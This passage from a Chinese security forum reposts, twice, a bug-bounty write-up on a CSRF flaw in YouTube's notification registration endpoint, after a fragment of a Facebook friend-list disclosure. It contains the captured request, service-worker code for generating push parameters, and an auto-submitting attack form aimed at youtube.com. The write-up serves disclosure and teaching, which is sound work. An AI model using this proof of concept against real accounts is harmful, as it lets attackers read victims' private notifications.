整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;

[转]CSRF漏洞劫持Youtube用户的通知消息

Web安全渗透你可以叫我风平 发表了文章 • 0 个评论 • 53 次浏览 • 2019-04-28 22:33 • 来自相关话题

 
 
[size=15]


[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。





 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:





 
  查看全部
 
 
[size=15]
1.jpg
[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。

2.png

 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

3.png